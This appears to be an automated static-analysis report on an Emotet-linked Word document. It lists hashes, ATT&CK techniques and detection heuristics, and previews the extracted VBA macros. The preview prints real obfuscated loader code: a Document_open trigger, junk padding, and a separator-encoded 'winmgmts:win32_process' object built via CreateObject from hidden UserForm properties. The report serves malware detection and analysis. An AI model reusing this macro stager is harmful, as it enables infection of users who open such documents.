Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 15873f9d40a770df…

MALICIOUS

Office (OLE)

188.7 KB Created: 2020-08-20 07:22:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 04aacff8580c1d8cb39697f684f5c539 SHA-1: da1176786795a0d7a48020b67dd44cba49054c70 SHA-256: 15873f9d40a770df265a5894fa646b3b97dcb4e5cabc021a14cfb270a20b15d3
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros with a Document_Open auto-execution trigger, indicative of malicious intent. Critical heuristics identify a hidden UserForm command stager and a CreateObject call, commonly used to download and execute further stages. ClamAV detection explicitly names this as 'Doc.Downloader.Emotet-9415045-0', strongly suggesting the Emotet family.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-9415045-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9415045-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11026 bytes
SHA-256: 122088aee6807ac78305312fac3f46c6ca6b68d58c5e43fb2f8e316852e08972
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Ttzsap7xodsn"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
R_c9_g6h2dn2.Judjfqiv5bssz3ph6c
End Sub


Attribute VB_Name = "R_c9_g6h2dn2"
Attribute VB_Base = "0{E62B42F6-C034-4AE1-B076-6A19E294F7F4}{A127C63C-0F9E-4452-A6E5-0671FA732B63}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Judjfqiv5bssz3ph6c()
   If 133877 = 513816 + 1 Then End
If 9812 < 65 Then
        MsgBox ("nyjICAeTGs41")
End If
If Len("lFwSfOiwJc4372") = Len("iwlYyMBCeT") Then
       MsgBox ("Error !!!")
End If
If 375299 = 156678 + 1 Then End
If 4256 < 17 Then
        MsgBox ("vnXcfRRucR32")
End If
If Len("mSthwIxyQM8754") = Len("YSJerxHkCV") Then
       MsgBox ("Error !!!")
End If

Wt2zie48ou6 = R_c9_g6h2dn2.HelpContextId + 50 + 50
   If 133877 = 513816 + 1 Then End
If 9812 < 65 Then
        MsgBox ("nyjICAeTGs41")
End If
If Len("lFwSfOiwJc4372") = Len("iwlYyMBCeT") Then
       MsgBox ("Error !!!")
End If
If 375299 = 156678 + 1 Then End
If 4256 < 17 Then
        MsgBox ("vnXcfRRucR32")
End If
If Len("mSthwIxyQM8754") = Len("YSJerxHkCV") Then
       MsgBox ("Error !!!")
End If

Iua6vh80rj5aiqv22 = ChrW(Wt2zie48ou6 + (15))
   If 133877 = 513816 + 1 Then End
If 9812 < 65 Then
        MsgBox ("nyjICAeTGs41")
End If
If Len("lFwSfOiwJc4372") = Len("iwlYyMBCeT") Then
       MsgBox ("Error !!!")
End If
If 375299 = 156678 + 1 Then End
If 4256 < 17 Then
        MsgBox ("vnXcfRRucR32")
End If
If Len("mSthwIxyQM8754") = Len("YSJerxHkCV") Then
       MsgBox ("Error !!!")
End If

Tcw1j67fe8vtgggqb = "12bb$ hs1g 2[gg222sh 7219681]12bb$ hs1g 2[gg222sh 7219681]w12bb$ hs1g 2[gg222sh 7219681]i12bb$ hs1g 2[gg222sh 7219681]nm12bb$ hs1g 2[gg222sh 7219681]12bb$ hs1g 2[gg222sh 7219681]gm12bb$ hs1g 2[gg222sh 7219681]t12bb$ hs1g 2[gg222sh 7219681]12bb$ hs1g 2[gg222sh 7219681]" + Iua6vh80rj5aiqv22 + "12bb$ hs1g 2[gg222sh 7219681]12bb$ hs1g 2[gg222sh 7219681]:12bb$ hs1g 2[gg222sh 7219681]w12bb$ hs1g 2[gg222sh 7219681]in12bb$ hs1g 2[gg222sh 7219681]12bb$ hs1g 2[gg222sh 7219681]312bb$ hs1g 2[gg222sh 7219681]212bb$ hs1g 2[gg222sh 7219681]_12bb$ hs1g 2[gg222sh 7219681]" + R_c9_g6h2dn2.S6_6teq38we + "12bb$ hs1g 2[gg222sh 7219681]ro12bb$ hs1g 2[gg222sh 7219681]12bb$ hs1g 2[gg222sh 7219681]ce12bb$ hs1g 2[gg222sh 7219681]s12bb$ hs1g 2[gg222sh 7219681]s12bb$ hs1g 2[gg222sh 7219681]"
   If 133877 = 513816 + 1 Then End
If 9812 < 65 Then
        MsgBox ("nyjICAeTGs41")
End If
If Len("lFwSfOiwJc4372") = Len("iwlYyMBCeT") Then
       MsgBox ("Error !!!")
End If
If 375299 = 156678 + 1 Then End
If 4256 < 17 Then
        MsgBox ("vnXcfRRucR32")
End If
If Len("mSthwIxyQM8754") = Len("YSJerxHkCV") Then
       MsgBox ("Error !!!")
End If

Ilc4o1kifcs = Elzj6dfuhi3xq0fw(Tcw1j67fe8vtgggqb)
   If 133877 = 513816 + 1 Then End
If 9812 < 65 Then
        MsgBox ("nyjICAeTGs41")
End If
If Len("lFwSfOiwJc4372") = Len("iwlYyMBCeT") Then
       MsgBox ("Error !!!")
End If
If 375299 = 156678 + 1 Then End
If 4256 < 17 Then
        MsgBox ("vnXcfRRucR32")
End If
If Len("mSthwIxyQM8754") = Len("YSJerxHkCV") Then
       MsgBox ("Error !!!")
End If

Set F_gnzynr_5g13 = CreateObject(Ilc4o1kifcs)
   If 133877 = 513816 + 1 Then End
If 9812 < 65 Then
        MsgBox ("nyjICAeTGs41")
End If
If Len("lFwSfOiwJc4372") = Len("iwlYyMBCeT") Then
       MsgBox ("Error !!!")
End If
If 375299 = 156678 + 1 Then End
If 4256 < 17 Then
        MsgBox ("vnXcfRRucR32")
End If
If Len("mSthwIxyQM8754") = Len("YSJerxHkCV") Then
       MsgBox ("Error !!!")
End If

Fkpjm3h649a = R_c9_g6h2dn2.K0bz5nw3slz.ControlTipText
   If 133877 = 513816 + 1 Then End
If 9812 < 65 Then
        MsgBox ("nyjICAeTGs41")
End If
If Len("lFwS
... (truncated)